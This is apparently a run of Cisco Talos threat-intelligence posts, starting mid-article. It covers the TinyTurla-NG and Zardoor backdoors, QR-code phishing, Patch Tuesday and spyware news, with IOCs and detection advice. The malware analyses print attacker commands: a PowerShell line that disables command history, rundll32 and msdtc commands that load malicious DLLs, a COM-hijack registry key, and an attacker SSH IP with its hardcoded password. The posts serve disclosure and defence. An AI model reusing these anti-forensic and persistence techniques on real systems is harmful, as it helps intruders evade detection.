When executing commands via cmd.exe or PowerShell.exe, TinyTurla-NG will create pipes to input and read the output of the commands. While executing commands via cmd.exe, the backdoor first executes the command chcp 437 > NULexecute to set the active console page to 437, i.e., the U.S., and then execute the commands issued by the C2. 

However, while executing commands via PowerShell.exe, TinyTurla-NG will additionally execute the following PowerShell cmdlet to prevent the recording of command history:

Set-PSReadLineOption -HistorySaveStyle SaveNothing

In addition to executing the content of the task received from the C2 directly e.g., C:\windows\system32\malware.exe, the backdoor will accept the following command codes from the C2. These command codes can be meant for administering the implant or for file management:

  • “timeout”: Change the number of minutes the backdoor sleeps between asking the C2 for new tasks. The new timeout is one minute multiplied by the timeout parameter sent by the C2. For example, if the C2 sends the task “timeout 10”, then the backdoor will now sleep for 10 minutes. If it is given a third parameter, the fail counter is changed, too.
TinyTurla Next Generation - Turla APT spies on Polish NGOs
TTNG setting a timeout value for C2 communication.
  • “changeshell”: This command will instruct the backdoor to switch the current shell being used to execute commands, i.e., from cmd.exe to PowerShell.exe, or vice versa.
  • “changepoint”: This command code is used by the C2 to retrieve the result of command(s) executed on the infected endpoint. The endpoint will also return logging messages to the C2 server it has collected for administrative commands executed since "changepoint" was last issued such as:
[+] Short Timer changed. New Short Timeout is 1 minute
  • “get”: Fetch a file specified by the C2 using an HTTP GET request and write it to the specified location on disk.
  • “post”: Exfiltrate a file from the victim to the C2, e.g., post C:\some_file.bin.
  • “killme”: Create a BAT file (see below) with a name based on the current tick count. Then, use the BAT file to delete a file from the disk of the victim machine, e.g., killme <filename>. The BAT file is executed via cmd.exe /c <BAT-file-name>.bat

The killme command generates a batch file with the content below. It is interesting to note that the backdoor DLL is essentially a service, however, the batch script deletes a registry key in HKCU\SW\classes\CLSID and restarts explorer[.]exe indicating an attempt to create persistence using COM hijacking, a tactic Turla has used in the past to establish persistence for their malware.

Registry key deleted:

HKEY_CURRENT_USER\Software\Classes\CLSID\{C2796011-81BA-4148-8FCA-C6643245113F}
TinyTurla Next Generation - Turla APT spies on Polish NGOs
BAT file contents template.

The BAT file is created from the template where the first two “%s” are replaced with the DLL name and the last one with the name of the BAT file itself to delete both artifacts from the disk.

TurlaPower-NG and its exfiltration capabilities

Talos also discovered malicious PowerShell scripts we’re calling “TurlaPower-NG”, written to infected endpoints via the TTNG backdoor. The scripts consist of the C2 URL and target file paths. For each file path specified, the script will recursively enumerate files and add them to an archive on disk. TurlaPower-NG takes specific care to exclude files with the “.mp4” extension from being added to the archive. The attackers had a specific interest in key material used to secure the password databases and popular password management software, adding related files to the archive:

TinyTurla Next Generation - Turla APT spies on Polish NGOs
TurlaPower-NG’s file archiving function.

The archive is a “.zip” extension whose name is generated on the fly by generating a new GUID which is used as the archive name. The archive file is then exfiltrated to the C2 using HTTP/S POST requests along with a log of the activity performed being sent to the C2 as well. The log consists of:

  • Name of the archive file (or part) POSTed to the C2.
  • Number of files in the archive along with the archive size.
TinyTurla Next Generation - Turla APT spies on Polish NGOs
TurlaPower-NG’s archive filename generation and log generation for C2.

C2 setup and operations

All of the C2 servers discovered so far consist of legitimate, vulnerable WordPress-based websites compromised by Turla to set up their C2 servers. Once compromised the operators set up scripts, logging and data directories to operate their C2 servers.

Directory and file structure

The C2’s directories and files setup consists of three key components:

  • C2 scripts: Turla set up PHP scripts ending with extensions — “.old.php” — in certain directories of the compromised websites. The URLs for these PHP-based C2s were then coded into the TTNG backdoors consisting of two C2 URLs per sample.
  • Logging: In addition to the C2 PHP scripts, the adversary also set up the logging of infections to keep track of infected systems and commands being issued to them. The logging mechanism of the C2 generates three log files on the C2 server:
    • _log[.]txt: A log of all infected endpoints beaconing into the C2.
    • result[.]txt: A log of all messages received from the TTNG backdoor.
    • tasks[.]txt: A log of all commands issued to the infected hosts.
  • Data directories: TTNG and TurlaPower-NG both support the exfiltration of files to the C2 server. The C2 server stores stolen data in directories separate from the logging directories.
TinyTurla Next Generation - Turla APT spies on Polish NGOs
Sample directory listing of the logs of the C2 server.

C2 communication process

The TinyTurla-NG backdoor uses a specific Identifier, “id” value in its HTTP form data whenever it communicates with the C2 server. This ID value is an eight-character phrase hardcoded into the backdoor. 

TinyTurla Next Generation - Turla APT spies on Polish NGOs
Network capture displaying the Identifier value and “Client Ready” message.

This same identifier value is then used to create directories for log files on the C2 server indicating that the C2 server maintains different log files for different identifiers.

After registering the victim on the C2 server, the backdoor sends out a gettask request, similar to the one below. The C2 can answer this with special commands or just the file that is supposed to be executed on the infected machine. 

TinyTurla Next Generation - Turla APT spies on Polish NGOs
TTNG’s C2 communication to fetch tasks to perform on the infected endpoint.

Depending on the PowerShell version running on the victim machine, the C2 task commands are piped into a PowerShell or cmd[.]exe shell. 

TinyTurla Next Generation - Turla APT spies on Polish NGOs
TinyTurla-NG’s shell selection between PowerShell or cmd[.]exe.

Coverage

Ways our customers can detect and block this threat are listed below.

TinyTurla Next Generation - Turla APT spies on Polish NGOs

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

IOCs

IOCs for this research can also be found at our GitHub repository here.

Hashes

267071df79927abd1e57f57106924dd8a68e1c4ed74e7b69403cdcdf6e6a453b
d6ac21a409f35a80ba9ccfe58ae1ae32883e44ecc724e4ae8289e7465ab2cf40

Domains

hanagram[.]jp
thefinetreats[.]com
caduff-sa[.]ch
jeepcarlease[.]com
buy-new-car[.]com
carleasingguru[.]com

How are attackers using QR codes in phishing emails and lure documents?

How are attackers using QR codes in phishing emails and lure documents?

Though QR codes were once on the verge of extinction, many consumers are used to seeing them in the wild for ordering at restaurants, or as mainstays on storefront doors informing customers how they can sign up for a newsletter or score a sweet deal. 

The use of QR codes saw a resurgence during the COVID-19 pandemic as a non-contact way for consumers to obtain important information. And as they’ve become more prevalent, attackers have taken notice, too, increasingly deploying them in phishing and email-based attacks. 

There was a significant increase in QR code phishing in 2023, according to public reporting and recently collected data from Cisco Talos Incident Response (Talos IR).  

As highlighted in our latest Quarterly Trends report, Talos IR responded to a QR code phishing campaign for the first time in an engagement in the fourth quarter of 2023, where threat actors tricked victims into scanning malicious QR codes embedded in phishing emails with their personal mobile devices, thereby leading to malware being executed on the mobile devices.  

In a separate attack, the adversaries sent targets spear-phishing emails with malicious QR codes pointing to fake Microsoft Office 365 login pages that eventually steal the user’s login credentials when entered.  

QR code attacks are particularly dangerous because they move the attack vector off a protected computer and onto the target’s personal mobile device, which usually has fewer security protections in place and ultimately has the sensitive information that attackers are after. 

How is a QR code lure different from a traditional malicious attachment or link? 

“Traditional” phishing attacks usually involve an adversary writing a highly targeted email hoping to trick a user into opening a malicious attachment or link that points to an attacker-controlled page. 

Phishing emails, such as business email compromise, are usually meant to impersonate an individual or organization the target is familiar with and willing to open something like a Microsoft Word document or URL that they would normally trust.  

These are typically links included in the body of an email, hyperlinked to a few words of text, or attachments to the emails with text prompting the user to open the attachment. 

In the case of QR code attacks, the adversary embeds a QR code in the body of the phishing email and asks the target to scan it with a mobile device to open a specific attachment or web link. As with any other QR code, the target would have to use a QR code scanning app on their mobile device or the built-in scanning functions on native camera apps to open the requested link.  

What’s on the end of these QR codes varies greatly. Attackers could use the QR code to point to an attacker-controlled web page that looks like a legitimate login page, but instead steals the user’s credentials when they go to log in. Or it can lead to a malicious attachment that eventually installs malware on the target’s device.  

What makes the use of QR codes in attacks so dangerous? 

Many corporate-owned computers and devices will have built-in security tools designed to detect phishing and preventing users from opening malicious links. However, when a personal device is introduced to the equation, these tools are no longer effective.  

When the target uses their personal device to scan a malicious QR code, the attack surface shifts, as enterprise security protocols and monitoring systems have less control and visibility over personal devices. And not all email security solutions can detect malicious QR codes like they would with malicious email attachments.  

With remote work expanding after the COVID-19 pandemic, more employees are accessing business information from their mobile devices, making these attacks more likely. According to the 2023 Not (Cyber) Safe for Work Report, which is a quantitative survey performed by the cybersecurity firm Agency, 97 percent of respondents access their work accounts from their personal devices. This potentially exposes sensitive business information in QR code attacks, should adversaries be able to capture internal login credentials or downloaded files on the targeted device.  

Prevention 

To defend against QR code-based phishing attacks, users and organizations should follow several pieces of advice: 

  • Talos recommends organizations deploy a mobile device management (MDM) platform or similar mobile security tool, such as Cisco Umbrella, to all unmanaged mobile devices that have access to business information. Cisco Umbrella’s DNS-layer security is available for personal Android and iOS devices, which provides defenders with additional visibility while protecting the privacy of mobile device code scanningwners. 
  • An email security solution, such as Cisco Secure Email, can detect these types of attacks. Secure Email specifically recently added new QR code detection capabilities in which the URLs are extracted from QR codes and analyzed just as any other URL included in an email would be.
  • User education is at the core of preventing QR code-based phishing attacks. Executives and defenders should ensure all employees are educated on the dangers of phishing attacks and adversaries’ increasing use of QR codes in malicious emails. 
    • Malicious QR codes may have poor image quality or look blurry when embedded in an email. This could be an initial sign that the QR code is not legitimate. 
    • QR code scanners will often provide a preview of the link the code is pointing to. Inform users that they should only be visiting trusted web pages with URLs they recognize. Alternatively, they could use their managed device to manually type in the desired destination URL instead of using the QR code as a navigation method. 
    • Look for common red flags in phishing emails, such as typosquatted email addresses and typos or grammatical errors in the body text of the email. 
    • Never give out personal information unless you’ve confirmed the legitimacy of a QR code with the organization in question. 
  • Using multi-factor authentication protocols such as Cisco Duo can prevent credential stealing, which often provides threat actors with an initial foothold into targeted systems to send more convincing phishing emails from trusted business associates or teammates. 

First Microsoft Patch Tuesday zero-day of 2024 disclosed as part of group of 75 vulnerabilities

First Microsoft Patch Tuesday zero-day of 2024 disclosed as part of group of 75 vulnerabilities

Microsoft followed up one of the lightest recent Patch Tuesdays in January with a large release of vulnerabilities on Tuesday, although still far from numbers seen in the past. 

In all, February’s security update from Microsoft includes 75 vulnerabilities, three of which are considered critical. There are 69 “important” vulnerabilities, according to Microsoft, and three that are of “moderate” severity.

Although considered of moderate risk, one of the vulnerabilities is being actively exploited in the wild — CVE-2024-21351, a security feature bypass vulnerability in Windows SmartScreen. “Smart screen” protects users from malicious websites and files downloaded from the internet. Exploiting this vulnerability may allow a user to be tricked into downloading and executing a file from the internet without the traditional SmartScreen protections. There were no zero-day vulnerabilities disclosed in last month’s Patch Tuesday.

Of the three critical vulnerabilities, one (CVE-2024-20684) could allow an attacker that controls a Hyper-V guest to cause a denial-of-service attack on the host and, as a consequence, to all other guests of the same host.

CVE-2024-21357 is another critical remote code execution vulnerability in a multicast network protocol called Windows Pragmatic General Multicast. The vulnerability could, in theory, allow an attacker on the same network to execute code on other systems on that network. Microsoft considers the vulnerability exploitation complex, however, the company does list it as “more likely” to be exploited.

The third critical vulnerability (CVE-2024-21380) is an information disclosure vulnerability in Microsoft Dynamics Business Central/NAV. According to Microsoft, the exploitation of this attack requires user interaction, and the attacker must first win a race condition. Therefore, it’s considered to be a more complex attack and “less likely” to be exploited.

Cisco Talos would also like to highlight CVE-2024-21378, a remote code execution vulnerability in Microsoft Outlook. However, according to the advisory, this requires the attacker to be on the same network as the targeted machine and trick the victim into opening a specially crafted file or email.

CVE-2024-21379 is also a remote code execution vulnerability, this time in Microsoft Word. Exploiting this vulnerability requires an attacker to send to a victim a specially crafted Word document that, when opened, would allow remote code execution in the victim’s system.

The advisory contains 26 other remote code execution vulnerabilities that are considered “less likely” to be exploited. A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page.

In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. 

The rules included in this release that protect against the exploitation of many of these vulnerabilities are 63000 - 63001, 63004, 63005, 62992 - 62994, 62998 and 62999. There are also Snort 3 rules 300822 - 300826.

Spyware isn’t going anywhere, and neither are its tactics

Spyware isn’t going anywhere, and neither are its tactics

Private and public efforts to curb the use of spyware and activity of other “mercenary” groups have heated up over the past week, with the U.S. government taking additional action against spyware users and some of the world’s largest tech companies calling out international governments to do more. 

The illegal use of spyware to target high-profile or at-risk individuals is a global problem, as highlighted by this article from The Register that Talos’ Nick Biasini just contributed to. This software can often track targets’ exact location, steal their messages and personal information, or even listen in on phone calls. And as we’ve written about, many Private Sector Offensive Actors (PSOAs) are developing spyware and selling it to whoever is willing to pay, regardless of what their motives are. 

A group of nations including the U.S., U.K. and France, along with several Fortune 500 tech companies, signed an agreement Tuesday to work to limit the use of spyware across the globe and crack down harder on bad actors who are illegally selling and using the software. However, the language of the resolution seemed closer to aspirations than actual action. 

For their part, the U.S. did roll out new restrictions on the visas of any foreign individuals who misuse commercial spyware. The restrictions could also affect anyone who makes the spyware, profits off its sale or facilitates the sale of the technology.  

These are all positive steps in the right direction toward curbing the use and sale of commercial spyware, but I remain concerned that the tendrils of spyware are too deep in the security landscape at this point that we’ll be dealing with this issue for years to come. 

Google’s security research group recently found that 20 of the 25 zero-day vulnerabilities Google TAG discovered that were being exploited in the wild in 2023 were exploited by commercial spyware vendors. In the same report, Google TAG said it was actively tracking at least 40 commercial spyware vendors — all with an unknown number of customers, users, creators and employees.  

The general tenants of spyware are all around us, too. While not traditional commercial spyware that’s tracking journalists or dissidents, even just quiet trackers are being used all over the internet. 

A report from 404 Media last month found that the apps of several popular sites like the 9gag forum and Kik messaging app were part of a massive network of ad tracking. Reporters found that ads inside each app are sending information to a powerful mass monitoring tool, which is then advertised and sold to national security agencies. This information can quietly build profiles out of users that could be used in many ways (though hopefully just for targeted ads, in the absolute best-case scenario), including tracking their hobbies, family members and physical location. 

Meta’s popular social media sites Instagram and Facebook have their own sets of tracking tools that can even monitor users’ web activity outside of their apps and require users to manually turn that feature off. Some mercenary groups are even embedding spyware into online ads and spreading spyware with little to no protection on mobile devices

Just as with ransomware, the problem of addressing spyware and PSOAs is going to take an international, public-private effort, and it certainly won’t be solved overnight. But I believe it will take more than good faith resolutions to change the way our internet activity is tracked, and how attackers can exploit that in a worst-case scenario.  

One such way we can start taking steps to immediately curb the spread of spyware is with greater communication. Talos encourages any organization, public or private, to publicly share actionable information or detection content related to spyware discovered in the wild. Public disclosure is often limited in the number of technical details of how the spyware itself works or does not contain many IOCs.  

If readers suspect their system(s) may have been compromised by commercial spyware or hack-for-hire groups, please consider notifying Talos’ research team at [email protected] to assist in furthering the community’s knowledge of these threats. 

The one big thing 

Cisco Talos discovered a new, stealthy espionage campaign that has likely persisted since at least March 2021. The observed activity affects an Islamic non-profit organization using backdoors for a previously unreported malware family named “Zardoor.” Talos believes an advanced threat actor is carrying out this attack, based on the deployment of the custom backdoor Zardoor, the use of modified reverse proxy tools, and the ability to evade detection for several years. In at least one attack, the actors have infected an Islamic charitable non-profit organization in Saudi Arabia, often exfiltrating data multiple times in a month. 

Why do I care? 

At this time, we have only discovered one compromised target, however, the threat actor’s ability to maintain long-term access to the victim’s network without discovery suggests there could be other victims that we don’t know about yet. This also is the work of a yet-to-be-discovered threat actor, as Talos cannot pin the exact TTPs onto a known threat actor. Zardoor is a dangerous backdoor that can remain undetected for extended periods, and without a ton of prior information about this actor, it’s tough to predict where they might pivot next. 

So now what? 

Talos has released new ClamAV signatures and Snort rules to protect against Zardoor and the actors’ actions. We don’t know what the initial access vector is, so it’s tough to give targeted advice on how to avoid this malware, but having any endpoint detection in place will block this backdoor.  

Top security headlines of the week 

Adversaries are actively exploiting three vulnerabilities in Ivanti’s VPN software, including one newly discovered over the weekend. Ivanti first disclosed two vulnerabilities on Jan. 22 affecting Ivanti’s Connect Secure and Policy Secure VPN products. Eventually, attackers took notice and started targeting unpatched instances of the software. Shortly after disclosure, the U.S. Cybersecurity and Infrastructure Security Agency only gave federal agencies 48 hours to disconnect any devices that used the affected software. Patches are now available for the three vulnerabilities, and users are encouraged to update as soon as possible. The CISA directive said that “agencies running the affected products must assume domain accounts associated with the affected products have been compromised” and said that agencies should reset “passwords twice for on premise [SIC] accounts, revoke Kerberos tickets, and then revoke tokens for cloud accounts in hybrid deployments” by March 1. It also said, “for cloud joined/registered devices, disable devices in the cloud to revoke the device tokens.” The newest vulnerability, CVE-2024-21893, is a server-side request forgery that could allow an attacker to access certain restricted resources without authentication. (Ars Technica, Decipher

Apple addressed a security issue early in the life of their newly released Apple Vision Pro, a mixed-reality headset. Days after initial reviews for the product were published, Apple released its first security update for the headset, saying that a vulnerability in the WebKit browser engine “may have been exploited” in the wild. The vulnerability, CVE-2024-23222, also affects other Apple operating systems, including iOS and iPad OS. Vision Pro users also discovered that, before the software patch, they could not reset the password on their device without physically bringing the headset to a retail Apple store. The passcode, typically a series of digits for the headset, could only be reset if the users gave the physical device to Apple support or mailed it to AppleCare. However, Apple added the ability to reset the devices’ passcode in the same patch that fixed the aforementioned vulnerability. (TechCrunch, Bloomberg

Can’t get enough Talos? 

 

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 5e537dee6d7478cba56ebbcc7a695cae2609010a897d766ff578a4260c2ac9cf 
MD5: 2cfc15cb15acc1ff2b2da65c790d7551 
Typical Filename: rcx4d83.tmp 
Claimed Product: N/A   
Detection Name: Win.Dropper.Pykspa::tpd 

SHA 256: e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934 
MD5: 93fefc3e88ffb78abb36365fa5cf857c 
Typical Filename: Wextract 
Claimed Product: Internet Explorer 
Detection Name: W32.File.MalParent 

SHA 256: 4c3c7be970a08dd59e87de24590b938045f14e693a43a83b81ce8531127eb440 
MD5: ef6ff172bf3e480f1d633a6c53f7a35e 
Typical Filename: iizbpyilb.bat 
Claimed Product: N/A  
Detection Name: Trojan.Agent.DDOH 

SHA 256: 8664e2f59077c58ac12e747da09d2810fd5ca611f56c0c900578bf750cab56b7  
MD5: 0e4c49327e3be816022a233f844a5731  
Typical Filename: aact.exe  
Claimed Product: AAct x86  
Detection Name: PUA.Win.Tool.Kmsauto::in03.talos 

SHA 256: 77c2372364b6dd56bc787fda46e6f4240aaa0353ead1e3071224d454038a545e 
MD5: 040cd888e971f2872d6d5dafd52e6194 
Typical Filename: tmp000c3787 
Claimed Product: Ultra Virus Killer 
Detection Name: PUA.Win.Virus.Ultra::95.sbx.tg 

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization

By Jungsoo An, Wayne Lee and Vanja Svajcer.

  • Cisco Talos discovered a new, stealthy espionage campaign that has likely persisted since at least March 2021. The observed activity affects an Islamic non-profit organization using backdoors for a previously unreported malware family we have named “Zardoor.” 
  • We believe an advanced threat actor is carrying out this attack, based on the deployment of the custom backdoor Zardoor, the use of modified reverse proxy tools, and the ability to evade detection for several years. 
  • Throughout the campaign, the adversary used living-off-the-land binaries (LoLBins) to deploy backdoors, establish command and control (C2), and maintain persistence. 
  • At this time, we have only discovered one compromised target, however, the threat actor’s ability to maintain long-term access to the victim’s network without discovery suggests there could be others.
  • Based on Talos’ and third-party research, the use of reverse proxy tools overlaps with TTPs employed by several threat groups originating from China. Still, we can assess the relations of the new threat actor with the existing groups only with low confidence, as open-source tools can be used by any threat actor. The choice of the compromised target does not align with the known objectives of any known threat actors originating from China.  

Talos discovered an ongoing espionage campaign in May 2023 targeting an Islamic charitable non-profit organization in Saudi Arabia that exfiltrates data approximately twice a month. 

The initial access vector is unknown, however, we observed the threat actor executing a malware we are calling the “Zardoor” backdoor to gain persistence. Then we observed the threat actor establishing C2 using open-source reverse proxy tools such as Fast Reverse Proxy (FRP), sSocks and Venom, a reverse proxy socks5 server-client tool originally developed for penetration testers. 

The threat actor customized sSocks to remove dependencies on Visual C Runtime libraries so these tools would rely only on WinAPI libraries and therefore could be executed without unexpected runtime errors. 

Once a connection was established, the threat actor used Windows Management Instrumentation (WMI) to move laterally and spread the attacker's tools — including Zardoor — by spawning processes on the target system and executing commands received from the C2, as seen in the commands below.

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization

Execution flow of the Zardoor backdoor

To maintain persistence, the attacker deployed a previously unseen backdoor family we have named Zardoor, which we named based on the file names “zar32.dll” and “zor32.dll”. “Zar32.dll” is the main backdoor component that communicates with the attacker’s C2, and “zor32.dll” ensures “zar32.dll” has been properly deployed with admin privileges. Talos could not obtain a file sample for the dropper used in this specific campaign. However, we found and analyzed other available samples with an execution sequence and filenames identical to the malicious activity we observed and possibly related to the attack we observed. 

Based on our analysis of these matching samples, the execution sequence has two parts:

The dropper installs and executes the malicious “oci.dll”

The main purpose of this dropper is to configure “msdtc.exe” to load the malicious “oci.dll” payload. Depending on the target OS architecture, the dropper locates either a 32- or 64-bit “oci.dll” and drops it in the system file path C:\Windows\System32\. Then, the dropper will attempt to stop the MSDTC service and use “msdtc.exe” to help register the malicious “oci.dll” with admin privileges, using the command msdtc -install.

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization
The dropper drops a different version of oci.dll based on the OS bitness and deletes itself using a batch file.

However, if the MSDTC service fails to stop, the dropper patches the binary of the malicious “oci.dll” file to remove the strings 1ISSYSTEM and 1ISAUTORUN, and save the patched DLL to the file path, %TEMP%\win_oci_41aa0d5.dll. Removing the strings will later help determine where to save “zar32.dll” and “zor32.dll” on the victim’s computer. 

The threat actor then uses Rundll32 to execute the patched “oci.dll” using this command: C:\Windows\System32\rundll32.exe %TEMP%\win_oci_41aa0d5.dll MainEntry. This patched “oci.dll” will extract “zar32.dll” and “zor32.dll” into the Temp Directory, and launch “zar32.dll MainEntry” using “rundll32.exe”. The MSDTC service will register the malicious “oci.dll” with the msdtc -install command.

If either of these two actions is successful, the dropper configures the MSDTC service to load “oci.dll” and the DLL will be executed. Finally, a cleanup batch script is created and saved to the location %TEMP%\xz330ksdfg.bat. The batch script deletes the dropper and then deletes itself.

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization

Malicious “oci.dll” payload

The malicious loader “oci.dll” contains the backdoor payloads, “zar32.dll” and “zor32.dll” in the resource section. Oci.dll contains two exported functions: ServiceMain() to launch the backdoor module (“zar32.dll”) and DllEntryPoint() to drop the backdoor onto the victim’s machine.

The ServiceMain() export is executed by the MSDTC service and launches the export function MainEntry of “zar32.dll” using “rundll32.exe.”

The DllEntryPoint() function calls the DLLMain function, which determines where to dump “zar32.dll” and “zor32.dll”. This occurs by searching for the strings 1ISSYSTEM and 1ISAUTORUN. If the string 1ISSYSTEM is found in “zar32.dll”, DLLMain drops “zar32.dll” and “zor32.dll” into the System32 directory.

If the string 1ISSYSTEM is not found, then DLLMain will look up the string 1ISAUTORUN, and if it exists, DLLMain will drop “zar32.dll” and “zor32.dll” into the %userprofile% directory. If neither of the strings are found, DLLMain will drop “zar32.dll” and “zor32.dll” into the “%TEMP%” directory. After the payloads are saved, the DLLs and their export function 'MainEntry()' are launched by “rundll32.exe”.

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization
The oci.dll contains two Zardoor components, zar32.dll and zor32.dll as resources.

To execute “zar32.dll”, the “oci.dll” export “ServiceMain()” is executed by “msdtc.exe” which then loads “zar32.dll” using the command: rundll32.exe C:\WINDOWS\system32\zar32.dll MainEntry. “Zor32.dll” is subsequently loaded from the same exported method with the command rundll32.exe C:\WINDOWS\system32\zor32.dll MainEntry.

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization
Zardoor modules.

Analysis of the “zar32.dll” and “zor32.dll” backdoor files

“Zar32.dll” is an HTTP/SSL remote access tool (RAT) that is capable of sending encrypted data to the attacker’s C2, executing PE payloads in fileless mode, searching for Session IDs, remote shellcode execution, and updating the C2 IP/hostname or port in memory. “Zar32.dll” contains a hardcoded debug symbol path seen below, and has two export functions: MainEntry() and  DllEntryPoint

PDB file path : 'C:\\Users\\john\\Desktop\\RManager\\x64\\Release\\R_Run.pdb'

Once deployed, “zar32.dll” creates three mutexes with the names, 3e603a07-7b2d-4a15-afef-7e9a0841e4d5, ThreadMutex12453, and rrx_%d, where the value of %d is a random seed that is based on the DLLs’ time of execution. If the mutex 3e603a07-7b2d-4a15-afef-7e9a0841e4d5 already exists, the DLL will exit because that indicates “zar32.dll” is successfully running.

To establish a C2 connection, “zar32.dll” needs a program that allows network applications to operate through a SOCKS or HTTPS proxy. The DLL connects to the following URLs:

  • 1.0.0[.]1/index.html
  • 1.0.0[.]2/index.html
  • 1.0.0[.]3/index.htm

The IP addresses are used by Cloudflare DNS services, including the DNS over HTTPS and the communication to these IP addresses may indicate the attempt to bypass the DNS-based detections to attacker-controlled C2 servers. 

“Zar32.dll'' attempts to connect to its C2 server using SSL with the following HTTP User-Agents:

  • 64-bit application: Mozilla/5.0 (Windows NT <os_majorver>.<os_minorver>; Trident/7.0; rv:11.0) like Gecko
  • 32-bit application on 64-bit OS: Mozilla/5.0 (Windows NT <os_majorver>.<os_minorver>; WOW64; Trident/7.0; rv:11.0) like Gecko

Once a connection is successfully established, “zar32.dll” supports the following C2 commands:

  1. Encrypt and send data to C2.
  2. Execute remotely fetched PE payload.
  3. Search for session ID.
  4. (Plugin exit).
  5. Remote shellcode execution.
  6. Delete this RAT.
  7. Update C2 IP (IP/domain_name:port).
  8. Do nothing.
New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization
Zardoor (zar32.dll) C2 routine handles eight different C2 commands.

We continued to observe several dependencies in the malware’s execution routine. If “zar32.dll” is running when “zor32.dll” is installed, “zor32.dll” will install the “msdtc.exe” service installer. 

If “zar32.dll” is not running when “zor32.dll” is installed, then “zor32.dll” starts the “msdtc.exe” service and attempts to create a mutex with the name 6c2711b5-e736-4397-a883-0d181a3f85ae

Next, “zor32.dll” will check if the “oci.dll” file exists and finish the execution if it does not. If “oci.dll” exists, “zor32.dll” attempts to create another mutex with the name 3e603a07-7b2d-4a15-afef-7e9a0841e4d5. The DLL will exit if the mutex exists, indicating“zar32.dll” is successfully running.

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization
If the mutex does not exist, “zor32.dll” will attempt to re-launch “zar32.dll” up to 10 times.

We also identified “zor32.dll” performing checks to maintain persistence if the process has admin privileges using the following procedures:

  1. If the MSDTC service is not running, “zor32.dll” will configure the MSDTC service with the command msdtc -install. If the installation fails, it will keep attempting up to 10 times.
  2. “zor32.dll” attempts to query MSDTC service status and if this fails, it will attempt up to 10 times.
  3. If the MSDTC service is running, then “zor32.dll” will attempt to stop it. If this fails, it will keep attempting to install up to 10 times.
  4. If the MSDTC service is not running, “zor32.dll” will start the service.

Scheduled tasks to maintain persistence

For persistence, the threat actor registers their reverse proxies as scheduled tasks, causing the reverse proxy to execute approximately every 20 minutes to communicate with the attacker’s C2 servers. To achieve this, first, the threat actor confirms if the victim already has scheduled tasks running with the names "KasperskySecurity" or "Microsoft Security Essentialss." Then, the attacker deletes the legitimate scheduled task and creates a new one with the same name for the proxy “msbuildss.exe”.

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization

Talos observed the threat actor in July 2023 storing the remote server’s public key for future tasks. This helps the threat actor to access the remote (Secure Shell) SSH server and set up remote port forwarding, allowing remote servers and devices on the internet to access devices that are on a private network. 

The attacker downloads the private SSH key and saves it to the file path c:\users\[Redacted]\.ssh\ with the filename “id_rsa.” The threat actor also saves the file “known_hosts”, containing the public keys hosts that can be accessed using the private key stored in “id_rsa”.

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization

According to the above commands, the threat actor first downloads and checks the contents of the file “2.vbs” to ensure it is the script they would like to execute. The “2.vbs” file is responsible for setting up the SSH remote port forwarding from port 443 on the victim’s device to port 22 on the attacker’s server using the user name root. The file makes sure it has successfully set up the SSH forwarding server by performing the following steps:

  1. netstat -ano | findstr 70.34 is used to find part of the remote IP address 70[.]34[.]208[.]197.
  2. The executable “shd.exe” initiates an SSH connection using the username root and the password "3My[{BK)Ni8a".
  3. Look for a port 443 connection on the victim’s device and kill “ssh.exe” and “shd.exe” using the taskkill utility.

Reverse proxy tools used by the threat actor

As opposed to forward proxies, used to connect devices on the private network to internet services, usually HTTP-based. Reverse proxies allow a computer connected to the internet to create a tunnel and allow remote access to services on the local private network.

Reverse proxies are often used as legitimate load balancers in complex system and application architectures. However, malicious actors are using them to establish communications with otherwise unreachable systems such as RDP servers, domain controllers, files or database servers. 

Fast Reverse Proxy (FRP)

Fast Reverse Proxy (FRP) is a reverse proxy tool that can be used to make network services, often located behind a NAT or firewall, remotely accessible. FRP consists of two main components: the FRP client and the FRP server. The FRP client is responsible for forwarding local requests to the FRP server, which in turn redirects them to the internet. This allows applications running on devices behind the NAT or firewall to be accessible from the outside network.

7000 is the default port used by the FRP server components. However, these ports can be configured per the user's needs. A basic setup involves installing the FRP server on a public server with a public IP, and the FRP client on the machine you want to expose. The client and server are configured via respective INI configuration files. Once the client and server are appropriately configured and started, services on the client's machine will be accessible via the server's public IP and the specified ports.

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization
FRP components and the basic usage.

